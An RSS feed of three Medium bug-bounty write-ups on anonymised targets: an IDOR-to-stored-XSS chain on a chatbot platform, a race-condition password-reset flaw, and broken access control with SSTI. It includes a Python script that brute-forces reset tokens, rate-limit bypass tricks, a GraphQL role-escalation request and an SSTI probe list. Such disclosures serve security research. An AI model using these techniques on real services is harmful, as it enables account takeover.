<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Youssef Hany on Medium]]></title>
        <description><![CDATA[Stories by Youssef Hany on Medium]]></description>
        <link>https://medium.com/@joex0x?source=rss-7e58d6555495------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rgfMlZzc8t1tMqKoZ4kD9w.jpeg</url>
            <title>Stories by Youssef Hany on Medium</title>
            <link>https://medium.com/@joex0x?source=rss-7e58d6555495------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 04:52:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@joex0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Chain to Gain: 3 Bugs to Full Account Takeover]]></title>
            <link>https://medium.com/@joex0x/lets-chain-to-gain-617d12a36eb4?source=rss-7e58d6555495------2</link>
            <guid isPermaLink="false">https://medium.com/p/617d12a36eb4</guid>
            <dc:creator><![CDATA[Youssef Hany]]></dc:creator>
            <pubDate>Sun, 02 Nov 2025 18:52:24 GMT</pubDate>
            <atom:updated>2025-11-02T18:54:02.407Z</atom:updated>
            <content:encoded><![CDATA[<h3>“بِسْمِ اللَّهِ، وَالْحَمْدُ لِلَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، اللَّهُمَّ عَلِّمْنَا مَا يَنْفَعُنَا، وَانْفَعْنَا بِمَا عَلَّمْتَنَا، وَزِدْنَا عِلْمًا”</h3><h3>Intro</h3><p>Hi folks, this is Youssef Hany and this is my new writeup. Today I continued working on the same target from my <a href="https://medium.com/@0xjoex/race-brute-win-exploiting-a-weak-password-reset-flow-58ebdde3a8e3">last writeup</a>.</p><p>In this writeup, I’ll explain how I achieved an account takeover by chaining three different bugs.</p><p><strong>About Program</strong></p><p>The target offers a no-code AI customer support platform that enables businesses to build chatbots and live-chat systems integrated across web, WhatsApp and mobile apps.</p><h3><strong>In Action</strong></h3><h3>First, IDOR:</h3><p>While looking at Burp history, I found the endpoint https://api.target.io/users/list which returns all user and agents (manages chat-bots) data. But, it requires appId as a parameter which isn’t a commonly guessable ID. Simply I could get it by opening the source code of any site uses site’s chat-bot like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3hXbeleQ-fq3XnQaio3Tw.png" /></figure><p>Then, I could send the following request to return all needed data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*OCTgsDsCJqhMagAyozMOBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*_J8E70hsRJUaDCuVRNPKTQ.png" /></figure><p>Should I report it now? Nooo, we can achieve higher impact.</p><h3>Second, Horizontal Privilege Escalation:</h3><p>After getting the key of all requests (appId ), I tried to edit some data. One of these data is the status of agent using this request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GsZLY2WAJ0DHl_x3D_PbSA.png" /></figure><p>Now, the agent is disabled, but what does this lead to?</p><h3>Third, Stored XSS:</h3><p>By trying to use chat-bot (after disabling agent), I found that any message sent to chat-bot would be displayed in dashboard as a notification -behavior that normally did not occur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*VM3RSbkFPDdXnt3WPb1KdA.png" /></figure><p>Once reflection, once XSS. I tried the most generic XSS payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LDtGPH0X9ypPaJcekK1Xnw.png" /></figure><p>BOOOOOOOOOOOOOOOM! alert worked, got XSS and the end of journy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QpdsLvA6nDIGoXO-.gif" /></figure><h3>Conclusion</h3><p>Last but not least. Thanks for reading and I hope my writeup provided useful insights. Feel free to share your feedback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*KhQy5rIEdQSBUhic.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=617d12a36eb4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Race, Brute, Win: Exploiting a Weak Password-Reset Flow]]></title>
            <link>https://medium.com/@joex0x/race-brute-win-exploiting-a-weak-password-reset-flow-58ebdde3a8e3?source=rss-7e58d6555495------2</link>
            <guid isPermaLink="false">https://medium.com/p/58ebdde3a8e3</guid>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Youssef Hany]]></dc:creator>
            <pubDate>Sat, 01 Nov 2025 18:29:20 GMT</pubDate>
            <atom:updated>2025-11-01T18:29:20.546Z</atom:updated>
            <content:encoded><![CDATA[<h3>“بِسْمِ اللَّهِ، وَالْحَمْدُ لِلَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، اللَّهُمَّ عَلِّمْنَا مَا يَنْفَعُنَا، وَانْفَعْنَا بِمَا عَلَّمْتَنَا، وَزِدْنَا عِلْمًا”</h3><h3>Intro</h3><p>Hi folks, This is Youssef Hany and this is my new writeup. It’s been a long time since my first write-up because I was doing an internship as a penetration tester and the target I’m writing about today was from that period.</p><h3>Password Reset</h3><p>Reset-password functionality exists on almost every modern website, so it’s a common and important place to test. There are many techniques to try (race conditions being one of them) but my approach had a few extra steps.</p><h3><strong>In Action</strong></h3><ol><li>First, I opened reset-password page, entered my email, intercepted request, sent it to repeater and started the game.</li><li>I tried many techniques like:</li></ol><ul><li>Host header injection</li><li>Parameter pollution</li><li>CRLF injection</li><li>Mass assignment</li></ul><p>But, all in vain, until I try race condition.</p><p>3. I simply built two requests, added them to a single group and sent them in parallel.</p><figure><img alt="Request" src="https://cdn-images-1.medium.com/max/684/1*BSw2WrMFSWy3WOEypO1F_w.png" /></figure><p>4. I noticed that the tokens sent to mail are equivalent except 5 digits like:</p><pre>12FFFFF3-1234-1234-1234-1234567890ab<br>12DDDDD3-1234-1234-1234-1234567890ab</pre><p>5. I had the same thought you’re probably having now 😂, What about brute-forcing?</p><p>6. I generated a wordlist containing all 5-character combinations of the characters “123456789abcdef”.</p><p>7. I wrote this python script to brute force the token:</p><pre>import requests<br><br>url = input(&quot;Enter you own token : &quot;)<br>first = &quot;https://api.target.io/users/validate-reset-code?code=&quot; + url[54:56]<br>changing = url[56:61]<br>last = url[61:90]<br><br><br>filename = &quot;wordlist.txt&quot;<br><br>with open(filename, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:<br>    total_lines = sum(1 for _ in f)<br><br>with open(filename, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:<br>    for i, line in enumerate(f, start=1):<br><br>        line = line.strip()<br>        U = first + line + last<br>        req = requests.get(U)<br><br>        if(&#39;&quot;code&quot;:&quot;SUCCESS&quot;&#39; in req.text):<br>            if(line == changing):<br>                continue<br>            else:<br>                print(&quot;The attacker token : &quot; + U)<br>                break<br><br>        percent = (i / total_lines) * 100<br>        print(f&quot;\r{i}/{total_lines} finished ({percent:.1f}%)&quot;, end=&quot;&quot;, flush=True)<br><br>print(&quot;\nDone ✅&quot;)</pre><p>8. Due to no rate limit on this endpoint, I could get the token sent to the other mail.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PDI8LLyaqUe2PTWZaRxhtg.png" /><figcaption>I divided the wordlist (it’s just a PoC).</figcaption></figure><p>9. Now, I could change the password and takeover the account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w61i57ERZaHx5lCILn49Xg.png" /></figure><h3>Bug on the way</h3><p>While testing password-reset function, the site blocked me due to rate-limit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*FaFkJ9LmeT53v7UNDvdrNQ.png" /></figure><p>To bypass that, I tried many techniques like:</p><ul><li>Changing User-Agent header</li><li>Changing IP</li><li>Using header like: X-Forwarded-Host: 127.0.0.1</li><li>Adding null byte (%00)</li><li>Capitalizing email address</li></ul><p>But, the only trick worked with me is adding a trailling space to email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*um3b4Gllcnc_cm-C6Q9iIA.png" /></figure><p><strong>Conclusion</strong></p><p>Last but not least. Thanks for reading and I hope my writeup provided useful insights. Feel free to share your feedback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*8UBimZyBq8mwpGNh.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58ebdde3a8e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Here we go , 2 bugs in the same program]]></title>
            <link>https://medium.com/@joex0x/here-we-go-2-bugs-in-same-program-0cb99b42a1f4?source=rss-7e58d6555495------2</link>
            <guid isPermaLink="false">https://medium.com/p/0cb99b42a1f4</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[broken-access-control]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ssti]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Youssef Hany]]></dc:creator>
            <pubDate>Mon, 05 May 2025 22:52:37 GMT</pubDate>
            <atom:updated>2025-11-02T14:20:47.679Z</atom:updated>
            <content:encoded><![CDATA[<p>“بِسْمِ اللَّهِ، وَالْحَمْدُ لِلَّهِ، وَالصَّلَاةُ وَالسَّلَامُ عَلَى رَسُولِ اللَّهِ، اللَّهُمَّ عَلِّمْنَا مَا يَنْفَعُنَا، وَانْفَعْنَا بِمَا عَلَّمْتَنَا، وَزِدْنَا عِلْمًا”</p><h3><strong>Intro</strong></h3><p>Hi folks, This is Youssef Hany and this is my first writeup ever! Today, I will explain a simple Vertical BAC bug (to defeat perfectionism) in an external program.</p><p><strong>About Program</strong></p><p>As it is not allowed say program name we will call it “target.com”. This is a platform for sharing documents and editing it. It has a subdomain called “sign.target.com” for sharing signatures (which we will target).</p><h3><strong>In Action</strong></h3><h3><strong>First, BAC:</strong></h3><blockquote>Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user’s limits (due to OWASP).</blockquote><p>While I am uploading a document, I have these 3 options and I will the choose first one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6xR7lMFWccLCX5FLXgecQ.png" /></figure><p>Now, I can add any signature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LHoZU0i8X0YDTguOOpnUcw.png" /></figure><p>Once it’s approved, I can’t add any signer or sign myself which violates policy and could harm any business uses the platform. Buttt, I can add viewer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*U3j-EDgo61hIVB5jsjiJMQ.png" /></figure><p>But, it’s just a viewer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5kqfKqffYC9Ar2ueVLZY_Q.png" /></figure><p>With a looking at Burp Suite’s history, I found the GraphQL request of adding of viewer like the following and sent to Repeater:</p><pre>{&quot;operationName&quot;:&quot;updateAssignedUsersV1&quot;,&quot;variables&quot;:{&quot;contract&quot;:&quot;{\&quot;id\&quot;:\&quot;111joex111\&quot;,\&quot;name\&quot;:\&quot;Report.pdf\&quot;,\&quot;dueTimeExpired\&quot;:0,\&quot;type\&quot;:\&quot;ME\&quot;,\&quot;formBuilderType\&quot;:\&quot;ASSIGN_EDITOR\&quot;}&quot;,&quot;assigners&quot;:&quot;{\&quot;addUsers\&quot;:[{\&quot;name\&quot;:\&quot;ex\&quot;,\&quot;email\&quot;:\&quot;private_yasta@gmail.com\&quot;,\&quot;requestType\&quot;:\&quot;VIEWER\&quot;,\&quot;group\&quot;:1}],\&quot;updateUsers\&quot;:[],\&quot;removeUsers\&quot;:[]}&quot;},&quot;query&quot;:&quot;mutation updateAssignedUsersV1($contract: String!, $assigners: String!) {\n  updateAssignedUsersV1(contract: $contract, assigners: $assigners) {\n    ...BasicResponseData\n    __typename\n  }\n}\n\nfragment BasicResponseData on BasicResponse {\n  message\n  statusCode\n  __typename\n}\n&quot;}</pre><p>As you may notice there is a parameter “requestType” with value “VIEWER” (the generic access control role). Without thinking, I changed it to “SIGNER” and resent the request.</p><p>Yubbb!! success.</p><p>Now, viewer became signer with Broken Access Control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9eW_5xayC6PtnjzTtwfRA.png" /></figure><p><strong>Report Timeline</strong></p><p>- 11 Feb: Submitted<br>- 18 Feb: Triaged<br>- 03 Mar: Bounty Rewarded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*18MsTKiO107qtgnt.gif" /></figure><p>— — — — — —</p><h3>Second, SSTI:</h3><p>The second bug is Server Side Template Injection (SSTI) which occurs when a site uses templates and fails to validate user input against the template.</p><p><strong>In Action</strong></p><p>The new subdomain to test is “help.target.com”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*UAYztTKftjWN-tnurff4Ew.png" /></figure><p>As you can see, It’s a search input, and as you might expect. I tried XSS, SQLI, …etc. But, No results until I tested for SSTI with my payload list :</p><pre>{{7*7}}<br>#{7*7}<br>{var $X=&quot;7*7&quot;}{$X}                      <br>&lt;?=7*7 ?&gt;<br>{7*7}<br>${7*7}<br>&lt;%=7*7 %&gt;<br>[=3*3]<br>*{7*7}<br>[[7*7]]<br>#set($X=&quot;7*7&quot;) $X<br>{{=7*7}}<br>&lt;%7*7%&gt;<br>#=set($X=&quot;7*7&quot;)$X<br>@(1+2)</pre><p>I found this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*wi32Hs4XIOcdAC0w0zi-dA.png" /></figure><p>Which means that the site detects “{{” and my challenge is to bypass it.</p><p>After some tries, I found that I could add one “{“ and encode the second one using URL encoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*aYWmbJggcjCrQszDpM6kVg.png" /></figure><p>Yah, It works!!!</p><p>But, The sad end is that the subdomain is out-of-scope. 🤷‍♂️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0TrJEdOpy3GF1sakjhkvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*JGHcqSjiRTv6YSX5.gif" /></figure><p><strong>Conclusion</strong></p><p>Last but not least. Thanks for reading and I hope my first writeup provided useful insights. Feel free to share your feedback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*BlXYFGxMM3Uw7CLu.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0cb99b42a1f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>